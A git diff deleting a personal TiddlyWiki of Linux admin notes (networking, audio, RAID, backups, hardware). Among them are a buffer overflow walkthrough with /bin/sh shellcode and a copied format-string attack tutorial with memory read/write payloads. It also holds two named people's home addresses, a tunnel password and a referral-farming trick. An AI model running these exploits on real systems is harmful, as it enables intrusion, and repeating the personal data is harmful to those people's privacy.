Knowledge Base -

Date: Fri, 12 Sep 2014 14:07:17 +0200 Subject: fix knowledge base --- content/wiki/knowledge_base.html | 14538 +------------------------------------ content/wiki/knowledge_base.xml | 463 +- 2 files changed, 2 insertions(+), 14999 deletions(-) mode change 100644 => 120000 content/wiki/knowledge_base.html mode change 100755 => 120000 content/wiki/knowledge_base.xml diff --git a/content/wiki/knowledge_base.html b/content/wiki/knowledge_base.html deleted file mode 100644 index dc8c3b5..0000000 --- a/content/wiki/knowledge_base.html +++ /dev/null @@ -1,14537 +0,0 @@ - - - - - - - - - - - - - Knowledge Base - - - - - - - - - - -

-This page requires JavaScript to function properly.

If you are using Microsoft Internet Explorer you may need to click on the yellow bar above and select 'Allow Blocked Content'. You must then click 'Yes' on the following security warning. -

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To get started with this blank [[TiddlyWiki]], you'll need to modify the following tiddlers:
-* [[SiteTitle]] & [[SiteSubtitle]]: The title and subtitle of the site, as shown above (after saving, they will also appear in the browser title bar)
-* [[MainMenu]]: The menu (usually on the left)
-* [[DefaultTiddlers]]: Contains the names of the tiddlers that you want to appear when the TiddlyWiki is opened
-You'll also need to enter your username for signing your edits: <<option txtUserName>>
-

<<importTiddlers>>
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These [[InterfaceOptions]] for customising [[TiddlyWiki]] are saved in your browser
-
-Your username for signing your edits. Write it as a [[WikiWord]] (eg [[JoeBloggs]])
-
-<<option txtUserName>>
-<<option chkSaveBackups>> [[SaveBackups]]
-<<option chkAutoSave>> [[AutoSave]]
-<<option chkRegExpSearch>> [[RegExpSearch]]
-<<option chkCaseSensitiveSearch>> [[CaseSensitiveSearch]]
-<<option chkAnimate>> [[EnableAnimations]]
-
-----
-Also see [[AdvancedOptions]]
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-<div class='toolbar' role='navigation' macro='toolbar [[ToolbarCommands::ViewToolbar]]'></div>
-<div class='title' macro='view title'></div>
-<div class='subtitle'><span macro='view modifier link'></span>, <span macro='view modified date'></span> (<span macro='message views.wikified.createdPrompt'></span> <span macro='view created date'></span>)</div>
-<div class='tagging' macro='tagging'></div>
-<div class='tagged' macro='tags'></div>
-<div class='viewer' macro='view text wikified'></div>
-<div class='tagClear'></div>
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-

- -

!static network
-{{{
-auto eth1 # come up automatically
-iface et1 inet static
-  address 192.168.0.24
-  netmask 255.255.255.0
-#  gateway 192.168.0.23
-}}}
-! for wpa_supplicant
-{{{
-auto wlan0
-allow-hotplug wlan0
-iface wlan0 inet dhcp
-    wpa-ssid meinessid
-    wpa-psk meinpasswort
-}}}

Type the text for '16 May 2013'

!usb hotplugging
-hotfix for not nonfuct hotplugging (which is probably a problem with either laptop-mode,udev,dbus or usb-autosuspend)
-{{{
-modprobe -r uhci-hcd
-modprobe uhci-hcd
-}}}
-!brightness
-/sys/class/backlight/acpi_video0/brightness
-!fan control
-via module acerhdf_kmod ( http://piie.net/index.php?section=acerhdf )
-add line for my bios to the array of supported hw in acerhdf.c :
-{{{
-/* Acer 1810TZ */
-/// changed in new version
-
-{"Acer", "Aspire 1810TZ", "v0.3108", 0x55, 0x58, {0x9e,  0x00} },
-{"Acer", "Aspire 1810TZ", "v0.3113", 0x55, 0x58, {0x9e,  0x00} },
-{"Acer", "Aspire 1810TZ", "v0.3115", 0x55, 0x58, {0x9e,  0x00} },
-{"Acer", "Aspire 1810TZ", "v0.3117", 0x55, 0x58, {0x9e,  0x00} },
-
-}}}
-!Synaptic Touchpad
-Fix crappy touchpad, enable twofinger scrolling
-in {{{ /etc/X11/xorg.conf.d/96-synaptics-twofinger.conf }}}
-{{{
-Section "InputClass"
-Identifier "touchpad two finger scrolling"
-MatchIsTouchpad "on"
-MatchDevicePath "/dev/input/event*"
-Option "HorizScrollDelta" "0"
-Option "MinSpeed" "0.5"
-Option "MaxSpeed" "0.5"
-#Option "AccelFactor" "0.0010"
-Option "EmulateTwoFingerMinZ" "40"
-Option "EmulateTwoFingerMinW" "11"
-Option "VertTwoFingerScroll" "True"
-Option "HorizTwoFingerScroll" "True"
-Option "VertEdgeScroll" "False"
-Option "HorizEdgeScroll" "False"
-Option "JumpyCursorThreshold" "250"
-Driver "synaptics"
-EndSection
-}}}

<<list>>

! asoundrc
-!! find <card>,<device>
-see aplay -l
-!! get hdmi sound working
-in /etc/asoundrc (or ~/.asoundrc )
-{{{
-pcm.!default {
-   type plug
-   slave {
-       pcm "hw:<card>,<device>"
-       rate 48000
-   }
-}
-}}}
-!! use dmix instead of direct device
-
-{{{
-pcm.dmixer {
-   type dmix
-   ipc_key 1024
-   ipc_key_add_uid false
-   ipc_perm 0660
-   slave {
-      pcm "hw:0,0"
-      rate 48000
-      channels 2
-      format S32_LE
-      period_time 0
-      period_size 1024
-      buffer_time 0
-      buffer_size 4096
-   }
-}
-
-pcm.!default {
-   type plug
-   slave.pcm "dmixer"
-}
-}}}
-! mplayer with different device
-{{{
-mplayer -ao alsa:device=bluetooth FILE # play over bluetooth
-mplayer -ao alsa:device=hw=2.0 FILE    # play over different hardware card (like usb audio)
-}}}

! generate credentials
-go to https://aws-portal.amazon.com/gp/aws/developer/account/index.html
-! install ec2 webservices
-{{{
-#? /bin/bash
-wget http://s3.amazonaws.com/ec2-downloads/ec2-api-tools.zip
-unzip ec2-api-tools.zip
-mv ec2-api-tools .ec2
-
-echo "mv ~/Downloads/*.pem .ec2"
-read "you will probably need to do this"
-cd .ec2
-cat > change_env << EOF
-export EC2_HOME=~/.ec2
-export PATH=$PATH:$EC2_HOME/bin
-export EC2_PRIVATE_KEY=`ls $EC2_HOME/pk-*.pem`
-export EC2_CERT=`ls $EC2_HOME/cert-*.pem`
-export JAVA_HOME=/opt/java/jre
-EOF
-source change_env
-ec2-describe-images -o amazon
-ec2-create-keypair bobkhan >bobkhan.pem
- 
-ec2-authorize default -p 22
-}}}
-! create instance
-
-{{{
-cd
-source .ec2/change_env
-ec2-run-instances ami-8c1fece5 -k bobkhan -t t1.micro
-ec2-describe-instances
-#look for the global dns name
-ssh -i bobkhan.pem ec2-user@$ec2-instance-name
-}}}
-

! using binwalk
-!! extract filesystem
-{{{
-$ binwalk openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-sysupgrade.bin
-
-DECIMAL   	HEX       	DESCRIPTION
--------------------------------------------------------------------------------------------------------------------
-512       	0x200     	LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 2910740 bytes
-957612    	0xE9CAC   	Squashfs filesystem, little endian, version 4.0, compression:  size: 2356427 bytes,  653 inodes, blocksize: 262144 bytes, created: Mon Sep 23 20:26:40 2013
-$ dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-sysupgrade.bin skip=957612 bs=1 of=fs.squashfs
-$ unsquashfs fs.squashfs
-
-}}}
-!! Entropy analysis
-{{{
-binwalk -E binary
-}}}

! Melissa Tiono 
-!! Zuhause
-Ludwig-Roselius-Allee 89
-28329 Bremen
-
-Haltestelle: Wilhelm busch weg
-
-! Silvia Richter
-Dahmestr. 8
-Haltestelle: Joachimstr

!Troubleshooting
-* Rauschen
-* check with:
-{{{ arecord -D bluetooth -f S16_LE | aplay -D bluetooth  -f S16_LE}}}
-* physically disconnect bluetooth and connect again
-* unpair headset
-{{{/etc/rc.d/bluetooth restart}}}
-{{{bluetooth-applet}}} # connect to bt-headset again
-//check again
-

! TFTP Flashing
-Problem:
-- The Error LED is blinking 6x short (No firmware found)
-
-!! Bring into Recovery Mode
-{{{
-ifconfig eth0 192.168.11.1 up
-ethtool eth0 # just to see if ethernet is working and link is up
-
-# the TFTP Boot stuff
-wget -O tftp.rar http://download.discountnetz.com/tftp-boot-recovery/TFTP%20Boot%20Recovery%201.53.rar
-unrar x tftp.rar 
-cd TFTP*
-sudo in.tftpd -l -s -L $PWD
-# press the "function Button", the blue Power LED is blinking
-}}}
-!! Flash The new Firmware
-{{{
-(Shell 1) dnsmasq -d --dhcp-range=192.168.11.50,192.168.11.150,12h
-(Shell 2) 
-# The firmware plus updater
-wget -o ls.zip http://cdn.cloudfiles.mosso.com/c85091/ls_series-164.zip
-unzip ls.zip
-cd ls_series*
-
-sed -i 's/NoFormatting.*/NoFormatting = 0/' LSUpdater.ini
-# optionally echo 'Debug = 1' >> LSUpdater.ini
-
-pacman -S wine 
-# Cross Fingers
-wine LSUpdater.exe
-# Yes Yes Yes, Wait for quite some time
-# LinkStation will reboot, flash red again, press function again, LinkStation will blink somewhat different -> Success
-}}}
-
-!! More Tips:
-- FAQ 1: http://forums.buffalotech.com/t5/Storage/FAQ-1-of-5-EM-Mode-boot-procedures/td-p/100313
-- FAQ 2: http://forums.buffalotech.com/t5/Storage/FAQ-2-of-5-Force-Firmware-update-procedure/td-p/100317
-- FAQ 3: http://forums.buffalotech.com/t5/Storage/FAQ-3-of-5-TFTP-boot-procedure/td-p/100319
-

!my first BOF
-
-http://smashthestack.org/l3thal/bof.txt
-$ vuln.c
-int main(int argc, char * argv[]) {
-
-char buf[256];
-
-ie(argc == 1) {
-printf("Usage: %s input\n", argv[0]);
-exit(0);
-}
-
-strcpy(buf,argv[1]);
-printf("%s", buf);
-
-}
-./vuln `perl -e 'print "\x90"x244 ."\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "\xef\xbe\xad\xde"'`
-## we create a nop-bridge, trying to hit "deadbeef" directly
-## this will be buffer+padding-shellcode(25 byte)
-## check via
-## gdb -c core.17916
-## #0  0x41414141 in ?? ()
-## (gdb) i r <= info register
-## after 0  0xdeadbeef in ?? ()
-## find the nop bridge, hit in it
-## (gdb) x/10s $esp
-...
-0xbfffd8fc:  '\220' <repeats 200 times>   <= nops
-...
-## just hit in the middle of it
-
-./vuln `perl -e 'print "\x90"x244 ."\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "\xef\xbe\xad\xde"'`
-

Value Proposition
-Common Baseline
-Customer Benefit
-Transformation Plan
-Integration Services
-Managed Services
-Stakeholder
-Definition and Design of Transformation Roadmap
-Key Solutions
-Customer Intimacy
-Domain Expertise
-Opportunity
-Qualification
-Contracting
-High-profile
-Budgetary Offer
-Upscope
-Outtasking
-Benchmark
-Traction

! Quirks
-Firefox 100 percent:
-    position:absolute

!Dump stuff collected
-!! Skytraq + Configuration
-{{{
-svn checkout http://skytraq-datalogger.googlecode.com/svn/trunk/ skytraq-datalogger
-make
-./skytraq-datalogger --dump > here.gpx
-}}}
-!! GPSBabel
-{{{
-gpsbabel -t -i skytraq -f /dev/ttyUSB0 -ogpx -F here.gpx
-}}}
-!Mapping it
-http://www.gpsvisualizer.com/map_input?form=google

! Working ssh
-{{{
-# create password:
-# echo -n lolwut | mkpasswd -s
-in kernel line:
-    usercrypted=<created-password> ocs_daemonon=ssh
-
-ssh user@ip-addr
-# get into menu
-CURRENT_TTY=/dev/tty1 /opt/drbl/sbin/ocs-live-general
-}}}

- http://www.pwcrack.com/penetration_contract.shtml
-- http://seclists.org/pen-test/2005/Jun/307
-- http://www.pentest-standard.org/index.php/Pre-engagement

!Server-Side
-{{{
-useradd -r tun
-iodined -f 172.16.0.1 io.krebsco.de -u tun -P "aidsballs" -t /home/tun -c
-}}}
-!Client-Side
-{{{
-# -r skips direct mode (good for testing)
-sudo iodine -f -I1 io.krebsco.de
-}}}
-! Testing
-http://code.kryo.se/iodine/check-it/

http://dnscurve.org/dnssecamp.html

http://dx.com
-
-! affiliate
-add : ?Utm_rid=93398939&Utm_source=affiliate
-e.g: https://dx.com/p/2-0-lcd-display-electromagnetic-radiation-detector-black-1-x-6f22-170486?Utm_rid=93398939&Utm_source=affiliate

!Reconfigure packages
-{{{
-dpkg-reconfigure <package-name>
-}}}
-!updating rc.d on startup
-{{{
-update-rc.d 
-or
-sysv-rc-conf
-}}}
-! Change Keyboard Layout:
-{{{
-dpkg-reconfigure console-setup
-}}}

[[Index]]
-[[TODO]]

[[pandaboard]]
-[[beagleboard]]
-[[Minimus AVR]]

! Installation 
-Debian: http://www.dokuwiki.org/install:debian

!SSH on dotcloud
-create DSA Key
-{{{
-ssh -i ~/.ssh/here.dsa dotcloud@tinc.krebs.dotcloud.com -p 5960
-}}}

! generate a new referral
-1. Generate a new account (mail not necessary
-Probably with anonbox script for mail
-2. 
-{{{
-#? /bin/bash
-ec2-describe-instances
-ssh -i bobkhan  ec2-user@$EC2_INSTANCE
-
-wget -O dropbox.tar.gz "http://www.dropbox.com/download/?plat=lnx.x86"
-tar -tzf dropbox.tar.gz
-~/.dropbox-dist/dropboxd
-# click the link
-}}}

! install
-{{{
-#?/bin/sh
-# pacman -S /apt-get install / yum install duplicity gpg pwgen
-wget http://downloads.sourceforge.net/project/ftplicity/duply%20%28simple%20duplicity%29/1.5.x/duply_1.5.10.tgz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fftplicity%2F%3Fsource%3Ddlp&ts=1372694343&use_mirror=hivelocity -O duply.tgz
-tar xf duply.tar.gz /tmp
-mkdir ~/bin
-cp -a /tmp/duply_1.5.10/duply ~/bin
-}}}
-! configure
-{{{
-pwgen 24 # take the first
-gpg --gen-key
-# click through
-# in other shell to generate entropy
-# $ find /var/ /usr /lib /srv -type f -print0 | xargs -0 cat > /dev/null
-gpg --list-secret-key 
-# take the sec/[part]
-duply remote create
-cd ~/.duply/remote/
-cat > conf <<EOF
-GPG_KEY="[part]"
-GPG_PW="[the first]"
-TARGET="[[see schemes]]"
-SOURCE="/" # full backup
-VERBOSITY=5
-MAX_FULLBKP_AGE=1m # create full backups every month
-EOF
-
-# for full backup
-cat > exclude <<EOF
-/mnt
-/tmp
-/dev
-/sys
-/proc
-/run
-/media
-/var/
-/root/.cache/duplicity
-EOF
-
-# backup $PWD folder somewhere safe
-}}}
-! scheduling
-{{{
-echo "duply remote backup" > /etc/cron.daily/duply-remote
-chmod +x /etc/cron.daily/duply-remote
-}}}
-! schemes
-{{{
-#   file:///some_dir
-#   ftp://user[:password]@other.host[:port]/some_dir
-#   hsi://user[:password]@other.host/some_dir
-#   cf+http://container_name
-#   imap://user[:password]@host.com[/from_address_prefix]
-#   imaps://user[:password]@host.com[/from_address_prefix]
-#   rsync://user[:password]@other.host[:port]::/module/some_dir
-#   rsync://user[:password]@other.host[:port]/relative_path
-#   rsync://user[:password]@other.host[:port]//absolute_path
-#   # for the s3 user/password are AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY
-#   s3://[user:password]@host/bucket_name[/prefix]
-#   s3+http://[user:password]@bucket_name[/prefix]
-#   scp://user[:password]@other.host[:port]/some_dir
-#   ssh://user[:password]@other.host[:port]/some_dir
-#   tahoe://alias/directory
-#   webdav://user[:password]@other.host/some_dir
-#   webdavs://user[:password]@other.host/some_dir
-}}}
-
-! Get the shit out again with duplicity on another host
-{{{
-cd .duply/backup
-gpg --import < gpgkey.<HEX>.sec.asc
-grep GPG_PW conf
-duplicity --encrypt-key=<HEX> --archive-dir=other-archivedir --name=darth --tempdir=other-tempdir  restore --file-to-restore path/to/file/in/archive  file://. path/to/restore
-}}}
-

! generate entropy
-!! haveged
-{{{
-pacman -S haveged
-systemctl start haveged
-}}}
-!! rng-tools
-{{{
-pacman -S rng-utils
-rngd -f -r /dev/urandom
-}}}

! Testing without Environment
-for example for cron scripts to unset all the environment variables
-{{{
-env -i /bin/sh
-}}}
-!Proxies
-in /etc/bash.bashrc
-{{{
-export http_proxy=http://.../
-export https_proxy=http://.../
-export ftp_proxy=ftp://.../
-}}}
-in /etc/apt/apt.conf.d/01proxy
-{{{
-Acquire::http::Proxy "http://host:3128";
-}}}

Check Antivirus Vendors: http://www.virustotal.com

[[Buffer Overflows]]
-[[Format String Attack]]
-[[DNSSec Amplification]]

* 26 zoll
-!Gangschaltung
-* Shimano
-* Diore (LX)
-!Bremsen
-* Vbrake
-!Rahmen
-* Alurahmen
-{{{
-                          	Mountainbike	                        Rennrad	        Tourenrad/Citybike	Trekking-/Reiserad
-Körpergröße (cm)	Rahmen (cm)	Rahmen (Zoll)	Rahmen (cm)	Rahmen (cm)	Rahmen (Zoll)	Rahmen (cm)
-175-180	                43-46	         17-18	         55-57	        48-54	         19-21	         55-58
-180-185	                46-48	         18-19	         57-60	        54                      21	                 58-61
-185-190	                48-53	         19-21	         60-62	        54-57	          21-22	         61-63
-}}}
-! Federgabe
-*

! umount
-{{{
-fuser -amuv /path/to/mount
-kill dat-shit
-}}}
-! umount nfs
-{{{
-umount -l /path/to/nfs
-}}}

From http://www.cse.iitb.ac.in/~jagdish/mtp/attacks/formatstring.html (too bad the page is down)
-<html>
-<table border="1" align="center" width="70%">
-		<tbody><tr>
-			<td> Attack Name:</td>
-			<td> <b>Format String <Attack</b> </td>
-		</tr>
-		<tr>
-			<td> What does the attack accomplish?</td>
-			<td><ul>
-				<li> Reading or Writing at arbitary locations in memory (including stack)</li>
-				<li> Code Execution: Inserting shellcode into stack and changing the return address (without buffer overflow)</li>
-			   </ul>
-			</td>	
-			
-		</tr>
-		<tr>
-			<td> What is the vulnerability?</td>
-			<td> Code containing <pre>printf(variable);</pre>  instead of <pre>printf("%s",variable);</pre> where variable is affected by user 					input</td>
-		</tr>
-		<tr>
-			<td> Background</td>
-			<td> The printf function in c takes variable number of arguments. The first argument is usually the "format string", followed by 					variables referenced in the format string.<br><br> For eg. <pre>printf("There are %d numbers in %s",arg1,arg2);</pre> Here 					%d and %s are the parameter specifiers in the format string. The first specifier uses arg1 and the second uses arg2.
-				<br><br>
-				During a call to printf, these arguments are passed on the stack (in the stack frame of printf). Here is the process of 				execution.
-				<ul>
-				<li>First of all, printf reads the first argument (format string).</li>
-				<li>It prints all characters execept those that start with '%'</li>
-				<li>On seeing '%' (i.e. parameter specifier), it fetches the next argument(here arg1) from the stack.</li>
-				<li>It will typecast argument according to the specifier and then print it.</li>
-				<li>This all continues till the end of the format string</li>
-				</ul>
-				<br><br>
-				Common specifiers:
-				<table>
-					<tbody><tr><td>%d</td><td>Reads a demical integer</td></tr>
-					<tr><td>%ld</td><td>Reads a long demical integer</td></tr>
-					<tr><td>%c</td><td>Reads a character</td></tr>		
-					<tr><td>%x</td><td>Reads a hexademical integer</td></tr>
-					<tr><td>%lx</td><td>Reads a long hexademical integer</td></tr>
-					<tr><td>%s</td><td>Reads a String</td></tr>
-					<tr><td>%n</td><td>Writes the number of characters printed till now</td></tr>
-				</tbody></table>				
-				<br>
-				*In case of %s and %n Addresses of variable are stored in stack.				
-			</td>
-		</tr>
-		<tr>
-			<td> How does it works?</td>
-			<td> 
-			     To understand the vulnerability, let us try this small code first.
-<pre>int main(){
-int i=21;
-int j=5;
-printf("%d %d %d %d %d %d %d %d %d\n");
-return 0;
-}
-
-output:
--1890278264 -1890278248 0 -2066296096 -2090799136 -1890278272 21 0 -2069764746
-</pre>
-		      
-			Even though there are no more arguments to printf, the code worked. The output may look as garbage values, but these values come 				from the stack. As can be noticed, value of i (21) is also in the output. To confirm it, change value of i and rerun.
-
-			<br><br>
-			Also as we know <pre>printf(str); //works</pre> 	
-			If that 'str' is input from user, then user can enter string containing format specifiers, rather than normal string.		
-			This is the basis of format string attack.		
-
-			<br> So for example
-			<pre>int main(int argc, const char * argv[]){
-	char buf[160];
-	strcpy(buf,argv[1]);
-	printf(buf);
-	exit(0);
-}
-
-Run:
-./a.out "hello %d"
-output:
-hello 2126824952
-
-
-			</pre>
-
-			</td>
-		</tr>
-		<tr>
-			<td> Attack Details: Reading from stack </td>
-			<td>
-			     Reading from stack using format string is easy. We just have to use the format specifiers.
-			     <br><br>For eg <a name="example1">"example1"</a>
-<pre>int main(int argc, const char * argv[]){
-	
-	int i=3;
-        int j=4;
-	int k=5;
-	int l=6;
-	char buf[160];
-	strcpy(buf,argv[1]);
-	printf(buf);
-	exit(0);
-}
-</pre>	
-			Crafting input
-			<br>
-			1)Using perl to get the string %08x %08x ... %08x (20 times) (here 20 is just a choice) 
-
-<pre>./example1 "`perl -e 'print "%08x " x 20 '`" 
-
-output:
-14fa05f0 14f9eaf4 00000000 fefefeff 00000000 14f9ec18 00000000 78383025 30252078 20783830 38302520 25207838 78383025 
-30252078 20783830 38302520 25207838 78383025 30252078 20783830 
-</pre>
-			See that 25 30 38 78 20  are getting repeated again and again in the end. These bytes are nothing but hexademical representation of 				ascii for "%08 " 
-			<br>
-			<br>
-			That means we are reading variable buf from stack frame. 
-			Variable buf starts at the 8th %08x and its size is 160bytes. So it will take 20 "%08x" on 64bit machine. In case of 32 bit 				machine, it will take 40. (See <a href="http://www.cse.iitb.ac.in/~jagdish/mtp/attacks/formatstring.html#Idiosyncrasy">Idiosyncrasy</a> for more details)
-			<br>
-
-			So in case of a 64 bit machine, variable i will be at 28th parameter. Lets check it out.
-			<br><br>
-			2)Directly reading 28th parameter
-<pre>./example1 "%28\$d"
-
-output:
-3  
-</pre>
-			where 3 is value of variable i. <br>
-			As can bee seen, to directly access mth parameter use %m$d. The '\' was used to escape $ from bash shell.
-			<br>
-			Please note that on 64bit system, 29th parameter will not be j but will be k. To know why, see 						<a href="http://www.cse.iitb.ac.in/~jagdish/mtp/attacks/formatstring.html#Idiosyncrasy">Idiosyncrasy</a>.
-			</td>
-		</tr>	
-		<tr>
-			<td> Attack Details: Reading from arbitary memory address</td>
-			<td>
-				Remember that %s and %n works on addresses rather than values. Out of these two %s is the one that can read. So we need to 					place the address of the memory location on stack, and then call %s to read content of that location.
-			     <br><br>Consider eg <a name="example2">"example2"</a>
-<pre>char hiddencode[4];
-
-int main(int argc, const char * argv[]){
-	strcpy(hiddencode,"007");
-	printf("hidden code is at %p. Find the value of hidden code.\n",&amp;hiddencode);
-	char buf[160];
-	strcpy(buf,argv[1]);
-	printf(buf);
-	exit(0);
-}
-</pre>
-			The varible buf is on the stack. As the argument we pass will be copied in buf, we now have a way to insert the address in to the 				stack i.e. Placing the address in the format string itself.<br>
-			If you run the program with any input, it will print address of variable hidden code.
-<pre>./example2 a
-
-output:
-hidden code is at 0x600a30. Find the value of hidden code.
-a
-</pre>
-			So now we know that the address to read from is 0x00600a30. For attack to work, this address should be part of the format string.We 				are lucky that the Null byte is at the highest order byte. We cannot have null byte in our input string (because that marks the end 				of that string). As i am using a little endian machine, bytes ordering is reversed. And so Highest order byte is to be inputed at 				last.(ie input will be  30 0a 60 00). So this should be the last 4 bytes of our format string.
-
-			<br>Now try the following:
-<pre>./example2 "%09\$s   `printf "\x30\x0a\x60"`"
-
-output:
-hidden code is at 0x600a30. Find the value of hidden code.
-007   0
-</pre>
-			As you can see, we got 007. Let us understand how. 
-			<br>
-			We know that buf starts at the 8th parameter on 64bit system. So we place the address on 9th parameter and called %s for 9th 				parameter. If we had started by putting address on 8th parameter, then null byte would have caused trouble. Also note the use of 				spaces to start the address on next word(8bytes for 64bit system) 
-			</td>
-		</tr>
-		<tr>
-			<td> Attack Details: Writing at arbitary memory address </td>
-			<td>
-				Here we will use %n instead of %s on the above >example. To make sure we have modified the variable add a printf after 					printf(buf);
-<pre>printf("%s",hiddencode);
-</pre>
-			<br> To make the hidden code null, do this
-<pre>./example2 "%09\$n   `printf "\x30\x0a\x60"`"
-</pre>
-		%n will write at 00600a30. It will write the value 0 because no character is yet printed by printf. To write other values, you must preceed 			%n with some text or format characters. Quick way to get 5 there, is "%5c%09\$n`printf "\x30\x0a\x60"`". Also that address should be 			aligned to start from a new word(8bytes for 64bit system). Use spaces to solve this. 
-		</td>
-		</tr>
-		<tr>
-			<td>Difficulties</td>
-			<td>
-				<ul>
-				<li> If the address that needs to be written contains Null byte, it may become impossible to write</li>
-				<li> To execute shellcode, there should be a page in memory that is both writable and executable</li>
-				<li> It is difficult to know address of a variable or a function, without debugging source code</li>
-				</ul>
-			</td>		
-		</tr>
-
-		<tr>
-			<td><a name="Idiosyncrasy">Idiosyncrasy</a></td>
-			<td>
-				There are some differences when attacking a 32bit system as compared to a 64bit system.
-				<ul>
-					<li>When we input multiple %08x reading of buf starts at 5th parameter in 32 bit system, whereas as seen above, it 						started at 8th parameter</li>
-					<br>
-					<li>Every parameter access will fetch 4 bytes in case of 32 bit system, but it will fetch 8 bytes in 64 bit system
-					</li>
-					<br>
-
-					<li>Reconsider <a href="http://www.cse.iitb.ac.in/~jagdish/mtp/attacks/formatstring.html#example1">example1</a>
-						<br>
-						<b>For a 64 bit system</b>
-<pre>./example1 "%28\$d"
-</pre>
-						This will output value of i. 'i' is integer(4 bytes) but a parameter is 8 byte. And so there will be 						truncation of 4 bytes.
-					<br>
-					When you do,
-<pre>./example1 "%29\$d"
-</pre>
-					you will get k and not j. Reason is that value of j was fetched with that of i (then was truncated).
-					<br>
-					So what if you want to access both i and j? Instead of using %d use %lx. Because %lx will not truncate and will 					display you all the 64 bits.
-<pre>./example1 "%28\$lx"
-</pre>
-					You will get j followed by i(little endian).
-
-					<br><br>
-					<b>For a 32 bit system</b>
- 					<br><br>
-					buf starts at 5. As each parameter is 4byte, it will end at 44 and so i will be 45th parameter.
-<pre>./example1 "%45\$d"
-</pre>
-					This will give you value of i.Variable j will be next, followed by k and l.
-<pre>./example1 "%46\$d"
-</pre>
-					This will give you value of j. And so on.
-					<br>
-					<br>
-
-					</li><li>Similarly for other attacks(read and write to memory),use %6\$n instead %9\$%n for 32 bit system (Add do watch 						the spaces that were used to complete 8bytes.)</li>
-
-					
-
-
-
-
-				</ul>
-
-			</td>		
-		</tr>
-		
-	</tbody></table>
-</html>

! FreeNas Package Installation
-{{{
-mount -o rw /
-pkg_add tinc
-mount -o ro /
-}}}

[[Buzzwords]]

To get started with this blank [[TiddlyWiki]], you'll need to modify the following tiddlers:
-* [[SiteTitle]] & [[SiteSubtitle]]: The title and subtitle of the site, as shown above (after saving, they will also appear in the browser title bar)
-* [[MainMenu]]: The menu (usually on the left)
-* [[DefaultTiddlers]]: Contains the names of the tiddlers that you want to appear when the TiddlyWiki is opened
-You'll also need to enter your username for signing your edits: <<option txtUserName>>

Also see [[Software Raid]]
-! Softraid + Crypto + LVM
-!! Level 1: Softraid
-{{{
-sudo mdadm --create /dev/md0 --level=5 --raid-devices=2 /dev/sdd1 /dev/sdb
-cat /proc/mdstat
-mdadm --misc --detail /dev/md0
-# make it faster on retard pcs
-echo 8192 > /sys/block/md*/md/stripe_cache_size
-}}}
-!! Level 2: (wait and then) Crypto
-{{{
-#             aes-cbc-essiv:sha256 is old
-cryptsetup -c aes-xts-plain64 -s 256 luksFormat /dev/md0
-cryptsetup luksOpen /dev/md0 array1
-}}}
-!! Level 3: LVM
-{{{
-pvcreate /dev/mapper/array1
-vgcreate -v cryptvg /dev/mapper/array1
-lvcreate -l 100%FREE -n files1 cryptvg
-}}}
-!! Level 4: Format
-{{{
-mkfs.ext4 /dev/cryptvg/files1
-}}}
-!! Level 5: INITRD
-!!! Archlinux
-{{{
-# in /etc/mkinitcpio.conf
-MODULES="dm_mod" # for root on softraid
-HOOKS="... udev mdadm_udev encrypt lvm2 filesystems ... "
-# in /etc/default/grub
-GRUB_CMDLINE_LINUX_DEFAULT="cryptsetup=/dev/md127:array1 quiet"
-}}}
-!! extend Raid
-{{{
-mdadm --add /dev/md0 /dev/sdx1
-mdadm --grow -n 3 /dev/md0grub
-
-cat /proc/mdstat
-mdadm --misc --detail /dev/md0
-
-pvresize /dev/mapper/array1
-cryptsetup resize array1
-lvresize -l +100%FREE /dev/vg/files1
-e2fsck -f /dev/vg/files1
-resize2fs /dev/vg/files1
-}}}
-see also [[[Western Digitial Green]]] for information about special formating
-
-! array wont assemble anymore
-!! Find the problem
-{{{
-cat /proc/mdstat
-mdadm -D --scan
-mdadm -E --scan
-mdadm -E /dev/sd[abce]1
-}}}
-!! Assemble manually
-{{{
-mdadm --stop /dev/md{0,127}
-mdadm --assemble /dev/md0 /dev/sda1 /dev/sdb1 /dev/sdc1 /dev/sde1 --force
-# /dev/sde1 fails to join the array
-}}}
-!! Add the broken device again
-{{{
-mdadm /dev/md0 --remove /dev/sde1
-mdadm /dev/md0 --re-add /dev/sde1 
-#when this fails
-    mdadm --zero-superblock /dev/sde1 #reap the device
-    mdadm /dev/md0 --add /dev/sde1
-
-echo 2000000 | sudo tee /proc/sys/dev/raid/speed_limit_min
-echo 10000000 | sudo tee /proc/sys/dev/raid/speed_limit_max
-sleep 40000
-echo "FINISHED!"
-}}}
-! reaped the lvm
-{{{
-lvremote vg # killed the volumegroup, nice one
-... # 
-vgcfgrestore -f /etc/lvm/archive/vg_00018-2146062166.vg -v vg #lvm is awesome and saves backups
-}}}

Install
-{{{pacman -S cups foomatic-{db,db-engine,filters}}}}
-goto
-{{{localhost:631/}}} and add HL2030 printer

!biohacking
-[[habanero]]
-
-!Information Gathering
-[[Metadata]]
-[[wmic]]
-!Stealth
-[[Using on-board Resources]]
-!Wifi
-[[aircrack suite]]

---

! Quirks
-[[Acer1810tz]]
-[[Lenovo T400]]
-[[Buffalo LinkStation LS-WVL]]
-!Internal
-[[Intel SSD]]
-[[Western Digitial Green]]
-!Embedded
-[[Dev Boards]]
-[[mk808]]
-!Peripheral
-[[Canmore GT-730FL-S GPS-Datalogger]]
-[[Bluetooth Headset]]
-[[RT2870 WiFi]]
-[[ReinerSCT]]
-[[HL2030]]
-[[UMTS Stick]]
-[[Logitech G15]]
-[[Silicon Images SATA Controller]]
-!Consoles
-[[Playstation2]]

! euer.krebsco.de
-Welcome to my new `Blog`.
-Feel free to browse around.
-You might find something you find interesting, or not. Latest changes are in the timeline.
-! Reach me
-Twitter: @makefoo
-IRC: irc.freenode.com #krebs

watch out for alignment:
-{{{
-fdisk -H 32 -S 32 -u /dev/sdx
-mkfs.ext4 -b 4096 -E stride=32,stripe-width=32 /dev/sdx1
-}}}
-in fstab:
-noatime

! Track Point Speed
-{{{
-# in /etc/rc.local
-echo -n 250 > /sys/devices/platform/i8042/serio1/serio2/sensitivity
